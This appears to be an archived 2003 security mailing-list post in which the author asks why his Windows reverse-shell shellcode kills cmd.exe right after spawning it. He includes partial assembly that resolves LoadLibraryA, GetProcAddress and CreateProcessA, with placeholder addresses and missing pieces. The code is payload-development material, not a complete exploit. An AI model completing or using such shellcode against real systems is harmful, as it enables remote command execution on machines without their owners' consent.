|
|||||||||||
|
Re: Windows reverse Shell
From: Berend-Jan Wever <skylined(at)edup.tudelft.nl>
Date: Tue Feb 04 2003 - 19:54:44 EST ('binary' encoding is not supported, stored as-is) In-Reply-To: <00ef01c2cc6c$7fb7a030$a7db5cdb@sk4n> I wrote a little piece of shellcode that should spawn a shell using a socket in %ebp, which will execute cmd.exe succesfully. The problem is that cmd.exe dies right away. Has anybody got an idear why ? The source (asm for linux) is included. Kind regards, Berend-Jan Wever
Start:
mov $',', %al
xor %ecx, %ecx
dec %ecx
repne scasb # search for ','
sub %al, -1(%edi)
neg %ebx
ret
GetLibraryAndProcAddress: # {
push %edi # > libName
mov $-0xXXXXXX, %ebx #
call MakeStringAndNegEbx # put 0 after libName
call *(%ebx) # < LoadLibraryA(libName);
push %edi # > procName
push %eax # > libHandle
mov $-0xXXXXXX, %ebx #
call MakeStringAndNegEbx # put 0 after ProcName
call *(%ebx) # << GetProcAddress(libHandle, procName);
ret
# }
main1:
pop %edi # < %edi = &strings
End: The code is followed by this string: "cmd.exe,kernel32.dll,CreateProcessA," Received on Wed Feb 5 12:07:40 2003 This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:07:37 EDT |
||||||||||
|
|||||||||||